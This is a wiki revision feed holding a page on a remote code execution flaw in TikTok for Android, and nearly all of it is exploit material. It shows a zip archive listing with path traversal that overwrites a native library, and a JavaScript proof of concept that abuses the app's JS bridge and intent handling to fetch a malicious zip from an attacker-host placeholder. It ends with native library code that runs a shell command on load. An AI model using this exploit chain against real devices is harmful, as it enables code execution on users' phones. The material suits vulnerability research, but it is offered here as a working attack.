<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=%E5%AE%89%E5%8D%93%E7%89%88TikTok_RCE%E6%BC%8F%E6%B4%9E%2Fen</id>
	<title>安卓版TikTok RCE漏洞/en - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=%E5%AE%89%E5%8D%93%E7%89%88TikTok_RCE%E6%BC%8F%E6%B4%9E%2Fen"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=%E5%AE%89%E5%8D%93%E7%89%88TikTok_RCE%E6%BC%8F%E6%B4%9E/en&amp;action=history"/>
	<updated>2026-04-06T03:23:40Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=%E5%AE%89%E5%8D%93%E7%89%88TikTok_RCE%E6%BC%8F%E6%B4%9E/en&amp;diff=1924&amp;oldid=prev</id>
		<title>LovelyWei: Created page with &quot;Malicious library code:&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=%E5%AE%89%E5%8D%93%E7%89%88TikTok_RCE%E6%BC%8F%E6%B4%9E/en&amp;diff=1924&amp;oldid=prev"/>
		<updated>2021-04-29T03:33:33Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;Malicious library code:&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
Created a zip file with a path that traverses the file name and overwrites the&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dphoeniixx@MacBook-Pro Tiktok % 7z l libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip&lt;br /&gt;
​&lt;br /&gt;
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21&lt;br /&gt;
p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)&lt;br /&gt;
​&lt;br /&gt;
Scanning the drive for archives:&lt;br /&gt;
1 file, 1930 bytes (2 KiB)&lt;br /&gt;
​&lt;br /&gt;
Listing archive: libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip&lt;br /&gt;
​&lt;br /&gt;
--&lt;br /&gt;
Path = libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip&lt;br /&gt;
Type = zip&lt;br /&gt;
Physical Size = 1930&lt;br /&gt;
​&lt;br /&gt;
   Date      Time    Attr         Size   Compressed  Name&lt;br /&gt;
------------------- ----- ------------ ------------  ------------------------&lt;br /&gt;
2020-11-26 04:08:29 .....         5896         1496  ../../../../../../../../../data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so&lt;br /&gt;
------------------- ----- ------------ ------------  ------------------------&lt;br /&gt;
2020-11-26 04:08:29               5896         1496  1 files&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now we can override native-libraries with a malicious library to execute our code. It will not be executed unless the user restarts the Application.&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
document.title = &amp;quot;Loading..&amp;quot;;&lt;br /&gt;
document.write(&amp;quot;&amp;lt;h1&amp;gt;Loading..&amp;lt;/h1&amp;gt;&amp;quot;);&lt;br /&gt;
if (document &amp;amp;&amp;amp; window.name != &amp;quot;finished&amp;quot;) { // the XSS will be fired multiple time before loading the page and after. this condition to make sure that the payload won't fire multiple time.&lt;br /&gt;
    window.name = &amp;quot;finished&amp;quot;;&lt;br /&gt;
    window.ToutiaoJSBridge.invokeMethod(JSON.stringify({&lt;br /&gt;
        &amp;quot;__callback_id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
        &amp;quot;func&amp;quot;: &amp;quot;preloadMiniApp&amp;quot;,&lt;br /&gt;
        &amp;quot;__msg_type&amp;quot;: &amp;quot;callback&amp;quot;,&lt;br /&gt;
        &amp;quot;params&amp;quot;: {&lt;br /&gt;
            &amp;quot;mini_app_url&amp;quot;: &amp;quot;https://microapp/&amp;quot;&lt;br /&gt;
        },&lt;br /&gt;
        &amp;quot;JSSDK&amp;quot;: &amp;quot;1&amp;quot;,&lt;br /&gt;
        &amp;quot;namespace&amp;quot;: &amp;quot;host&amp;quot;,&lt;br /&gt;
        &amp;quot;__iframe_url&amp;quot;: &amp;quot;http://d.c/&amp;quot;&lt;br /&gt;
    })); // initialize Mini App&lt;br /&gt;
    window.ToutiaoJSBridge.invokeMethod(JSON.stringify({&lt;br /&gt;
        &amp;quot;__callback_id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
        &amp;quot;func&amp;quot;: &amp;quot;openSchema&amp;quot;,&lt;br /&gt;
        &amp;quot;__msg_type&amp;quot;: &amp;quot;callback&amp;quot;,&lt;br /&gt;
        &amp;quot;params&amp;quot;: {&lt;br /&gt;
            &amp;quot;schema&amp;quot;: &amp;quot;aweme://wiki?url=javascript:location.replace(%22intent%3A%2F%2Fwww.google.com.eg%2F%3Faction%3DsdkUpdate%26latestSDKUrl%3Dhttp%3A%2F%2F{ATTACKER_HOST}%2Flibran_a1ef01b09a3d9400b77144bbf9ad59b1.zip%26sdkUpdateVersion%3D1.87.1.11%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapp.tmatest.TmaTestActivity%3Bpackage%3Dcom.zhiliaoapp.musically%3Baction%3Dandroid.intent.action.VIEW%3Bend%22)%3B%0A&amp;amp;noRedirect=false&amp;amp;title=First%20Stage&amp;amp;disable_app_link=false&amp;quot;&lt;br /&gt;
        },&lt;br /&gt;
        &amp;quot;JSSDK&amp;quot;: &amp;quot;1&amp;quot;,&lt;br /&gt;
        &amp;quot;namespace&amp;quot;: &amp;quot;host&amp;quot;,&lt;br /&gt;
        &amp;quot;__iframe_url&amp;quot;: &amp;quot;http://iframe.attacker.com/&amp;quot;&lt;br /&gt;
    })); // Download malicious zip file that will overwite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so&lt;br /&gt;
    setTimeout(function() {&lt;br /&gt;
        window.ToutiaoJSBridge.invokeMethod(JSON.stringify({&lt;br /&gt;
            &amp;quot;__callback_id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
            &amp;quot;func&amp;quot;: &amp;quot;openSchema&amp;quot;,&lt;br /&gt;
            &amp;quot;__msg_type&amp;quot;: &amp;quot;callback&amp;quot;,&lt;br /&gt;
            &amp;quot;params&amp;quot;: {&lt;br /&gt;
                &amp;quot;schema&amp;quot;: &amp;quot;aweme://wiki?url=javascript:location.replace(%22intent%3A%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapphost.placeholder.MiniappTabActivity0%3Bpackage%3Dcom.zhiliaoapp.musically%3BS.miniapp_url%3Dhttps%3Bend%22)%3B%0A&amp;amp;noRedirect=false&amp;amp;title=Second%20Stage&amp;amp;disable_app_link=false&amp;quot;&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;JSSDK&amp;quot;: &amp;quot;1&amp;quot;,&lt;br /&gt;
            &amp;quot;namespace&amp;quot;: &amp;quot;host&amp;quot;,&lt;br /&gt;
            &amp;quot;__iframe_url&amp;quot;: &amp;quot;http://iframe.attacker.com/&amp;quot;&lt;br /&gt;
        })); // load the malicious library after overwrtting it.&lt;br /&gt;
    }, 5000);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malicious library code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;jni.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
​&lt;br /&gt;
​&lt;br /&gt;
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {&lt;br /&gt;
    system(&amp;quot;id &amp;gt; /data/data/com.zhiliaoapp.musically/PoC&amp;quot;);&lt;br /&gt;
    return JNI_VERSION_1_6;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>LovelyWei</name></author>
	</entry>
</feed>